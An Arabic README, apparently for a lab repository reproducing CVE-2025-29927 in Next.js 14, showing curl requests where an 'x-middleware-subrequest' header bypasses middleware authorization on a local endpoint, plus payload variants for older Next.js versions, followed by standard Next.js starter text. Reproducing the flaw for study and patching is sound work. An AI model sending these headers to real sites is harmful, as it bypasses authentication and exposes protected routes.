
vulnerable-nextjs-14-CVE-2025-29927
هذا المستودع هو إعادة إنتاج لثغرة CVE-2025-29927 في حزمة next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 مرات في الرأس الخاص x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
كانت إصدارات Next.js 12 و 13 تستخدم اصطلاح تسمية مختلفًا لملف الوسيطة (_middleware.js)، والذي تم تغييره إلى middleware.js في Next.js 14. يمكن استغلال هذه الثغرة في الإصدارات الأقدم باستخدام ملف _middleware.js.
على سبيل المثال، ستنطبق الأحمال التالية، اعتمادًا على إصدار Next.js واصطلاح التوجيه الخاص بك:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (لإصدارات Next.js 12.2 مع ملف middleware.js في جذر التطبيق، وليس داخل مجلد pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (لإصدارات Next.js 11 وحتى 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloأولاً، قم بتشغيل خادم التطوير:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
افتح http://localhost:3000 في متصفحك لترى النتيجة.
يمكنك البدء في تحرير الصفحة عن طريق تعديل app/page.js. يتم تحديث الصفحة تلقائيًا عند تحرير الملف.
يستخدم هذا المشروع next/font لتحسين وتحميل Geist تلقائيًا، وهي عائلة خطوط جديدة لـ Vercel.
لمعرفة المزيد عن Next.js، ألق نظرة على الموارد التالية:
يمكنك الاطلاع على مستودع Next.js على GitHub - ملاحظاتك ومساهماتك مرحب بها!
أسهل طريقة لنشر تطبيق Next.js الخاص بك هي استخدام منصة Vercel من منشئي Next.js.
اطلع على وثائق نشر Next.js لمزيد من التفاصيل.